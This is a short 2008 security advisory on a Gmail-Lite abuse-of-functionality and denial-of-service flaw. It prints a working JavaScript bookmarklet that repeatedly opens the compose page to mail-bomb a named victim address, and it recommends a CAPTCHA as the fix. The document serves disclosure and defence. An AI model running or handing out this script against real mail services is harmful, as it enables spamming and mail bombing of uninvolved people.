YGN ETHICAL HACKER GROUP

Security Advisory

GMAIL-LITE ABF+DOS VULNERBILITY

Discovered by: d0ubl3_h3lix
Date: March 2008
URL: All Gmail-Lite hosting sites
Vulnerability Type: **Abuse of Functionality (ABF), Denial-Of-Service (DOS)**
Risk: **mid**
Threats: Mass Mailing, Mail Bombing, Spamming

Note:

Gmail-lite lets attackers do Mass Mailing, Mail Bombing, and Spamming. They don't even need to set up a new Gmail-Lite server, nor write a complicated code for this. They simply can go to a Gmail-Lite web site, compose an abuse email, and send it to a victim thousands of times with just the aid of little extremely simple JavaScript. It creates DOS to other email users where their email systems don't have smart and intelligent filter option like gmail;hence this vulnerability causes a huge impact to non-gmail users.

Proof-Of-Vulnerability:

Login to Gmail-Lite with your account. After logging in, type the following working exploit code in URL address bar:

```
javascript:var i=0;function launch_dos(){setInterval("dos()",9000)}function
dos(){window.open("http://glite.yehg.org/compose.php?from=-
1&to[]=victim@gmail.com&cc[]=&bcc[]=&subj=hi"+i+"&currentlan=English&bod
y=Test&back=/main.php?sum=1&th=&mg=&send=send");i++;}launch_dos();void(0
);
```

It's that simple!

Fix:

Using Captcha in compose.php page can solve this vulnerability. One-time token protection can be broken and shouldn't be used.